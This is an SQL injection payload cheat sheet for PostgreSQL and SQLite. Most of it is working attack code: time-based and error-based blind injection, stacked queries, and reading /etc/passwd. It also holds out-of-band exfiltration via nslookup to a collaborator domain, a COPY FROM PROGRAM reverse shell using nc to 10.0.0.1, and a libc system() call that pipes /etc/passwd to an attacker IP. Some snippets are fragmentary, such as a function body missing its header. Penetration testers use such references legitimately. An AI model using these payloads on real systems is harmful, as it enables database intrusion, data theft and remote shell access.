SQL Injection

SELECT query_to_xml('select * from pg_user',true,true,''); -- returns all the results as a single xml row

The `query_to_xml` above returns all the results of the specified query as a single result. Chain this with the [PostgreSQL Error Based](#postgresql-error-based) technique to exfiltrate data without having to worry about `LIMIT`ing your query to one result.

SELECT database_to_xml(true,true,''); -- dump the current database to XML
SELECT database_to_xmlschema(true,true,''); -- dump the current db to an XML schema

Note, with the above queries, the output needs to be assembled in memory. For larger databases, this might cause a slow down or denial of service condition.

| Function | Example | | ----------- | ----------------------------------------------- | | `SUBSTR` | `SUBSTR('foobar', <START>, <LENGTH>)` | | `SUBSTRING` | `SUBSTRING('foobar', <START>, <LENGTH>)` | | `SUBSTRING` | `SUBSTRING('foobar' FROM <START> FOR <LENGTH>)` | Examples:

' and substr(version(),1,10) = 'PostgreSQL' and '1  -- TRUE
' and substr(version(),1,10) = 'PostgreXXX' and '1  -- FALSE

select 1 from pg_sleep(5)
;(select 1 from pg_sleep(5))
||(select 1 from pg_sleep(5))

select case when substring(datname,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from pg_database limit 1

select case when substring(table_name,1,1)='a' then pg_sleep(5) else pg_sleep(0) end from information_schema.tables limit 1

select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name limit 1
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name where column_name='value' limit 1

AND 'RANDSTR'||PG_SLEEP(10)='RANDSTR'
AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))

Out-of-band SQL injections in PostgreSQL relies on the use of functions that can interact with the file system or network, such as `COPY`, `lo_export`, or functions from extensions that can perform network actions. The idea is to exploit the database to send data elsewhere, which the attacker can monitor and intercept.

declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();

Use a semi-colon "`;`" to add another query

SELECT 1;CREATE TABLE NOTSOSECURE (DATA VARCHAR(200));--

NOTE: Earlier versions of Postgres did not accept absolute paths in `pg_read_file` or `pg_ls_dir`. Newer versions (as of [0fdc8495bff02684142a44ab3bc5b18a8ca1863a](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) commit) will allow reading any file/filepath for super users or users in the `default_role_read_server_files` group. * Using `pg_read_file`, `pg_ls_dir` ```sql select pg_ls_dir('./'); select pg_read_file('PG_VERSION', 0, 200); ``` * Using `COPY` ```sql CREATE TABLE temp(t TEXT); COPY temp FROM '/etc/passwd'; SELECT * FROM temp limit 1 offset 0; ``` * Using `lo_import` ```sql SELECT lo_import('/etc/passwd'); -- will create a large object from the file and return the OID SELECT lo_get(16420); -- use the OID returned from the above SELECT * from pg_largeobject; -- or just get all the large objects and their data ```

* Using `COPY` ```sql CREATE TABLE nc (t TEXT); INSERT INTO nc(t) VALUES('nc -lvvp 2346 -e /bin/bash'); SELECT * FROM nc; COPY nc(t) TO '/tmp/nc.sh'; ``` * Using `COPY` (one-line) ```sql COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab'; ``` * Using `lo_from_bytea`, `lo_put` and `lo_export` ```sql SELECT lo_from_bytea(43210, 'your file data goes in here'); -- create a large object with OID 43210 and some data SELECT lo_put(43210, 20, 'some other data'); -- append data to a large object at offset 20 SELECT lo_export(43210, '/tmp/testexport'); -- export data to /tmp/testexport ```

Installations running Postgres 9.3 and above have functionality which allows for the superuser and users with '`pg_execute_server_program`' to pipe to and from an external program using `COPY`.

COPY (SELECT '') TO PROGRAM 'getent hosts $(whoami).[BURP_COLLABORATOR_DOMAIN_CALLBACK]';
COPY (SELECT '') to PROGRAM 'nslookup [BURP_COLLABORATOR_DOMAIN_CALLBACK]'

CREATE TABLE shell(output text);
COPY shell FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f';

CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

PostgreSQL offers several ways to construct string values without using standard single-quoted literals. The `CHR()` function can generate individual characters from their numeric character codes, which can then be combined using the concatenation operator (`||`). PostgreSQL also supports dollar-quoted strings, available since version 8, allowing text to be enclosed between `$$` delimiters without escaping embedded single quotes. | Payload | Technique | | --------------------------------------- | ----------------------------------------------- | | `SELECT CHR(65)\|\|CHR(66)\|\|CHR(67);` | String from `CHR()` | | `SELECT $$NoQuote$$` | Dollar-Quoted String ( >= version 8 PostgreSQL) |

Retrieve all table-level privileges for the current user, excluding tables in system schemas like `pg_catalog` and `information_schema`.

SELECT * FROM information_schema.role_table_grants WHERE grantee = current_user AND table_schema NOT IN ('pg_catalog', 'information_schema');

SHOW is_superuser; 
SELECT current_setting('is_superuser');
SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER;

> SQLite Injection is a type of security vulnerability that occurs when an attacker can insert or "inject" malicious SQL code into SQL queries executed by an SQLite database. This vulnerability arises when user inputs are integrated into SQL statements without proper sanitization or parameterization, allowing attackers to manipulate the query logic. Such injections can lead to unauthorized data access, data manipulation, and other severe security issues.

| Description | Comment | | ------------------- | ------- | | Single-Line Comment | `--` | | Multi-Line Comment | `/**/` |

| Description | SQL Query | | ------------ | -------------------------- | | DBMS version | `select sqlite_version();` |

| Description | SQL Query | | ---------------------------------------------------- | ------------------------------------------------------------------------------------------------------ | | Extract Database Structure | `SELECT sql FROM sqlite_schema` | | Extract Database Structure (sqlite_version > 3.33.0) | `SELECT sql FROM sqlite_master` | | Extract Table Name | `SELECT tbl_name FROM sqlite_master WHERE type='table'` | | Extract Table Name | `SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'` | | Extract Column Name | `SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='table_name'` | | Extract Column Name | `SELECT GROUP_CONCAT(name) AS column_names FROM pragma_table_info('table_name');` | | Extract Column Name | `SELECT MAX(sql) FROM sqlite_master WHERE tbl_name='<TABLE_NAME>'` | | Extract Column Name | `SELECT name FROM PRAGMA_TABLE_INFO('<TABLE_NAME>')` |

| Description | SQL Query | | ----------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | Count Number Of Tables | `AND (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' ) < number_of_table` | | Enumerating Table Name | `AND (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' LIMIT 1 OFFSET 0)=table_name_length_number` | | Extract Info | `AND (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' LIMIT 1 OFFSET 0) > HEX('some_char')` | | Extract Info (order by) | `CASE WHEN (SELECT hex(substr(sql,1,1)) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' LIMIT 1 OFFSET 0) = HEX('some_char') THEN <order_element_1> ELSE <order_element_2> END` |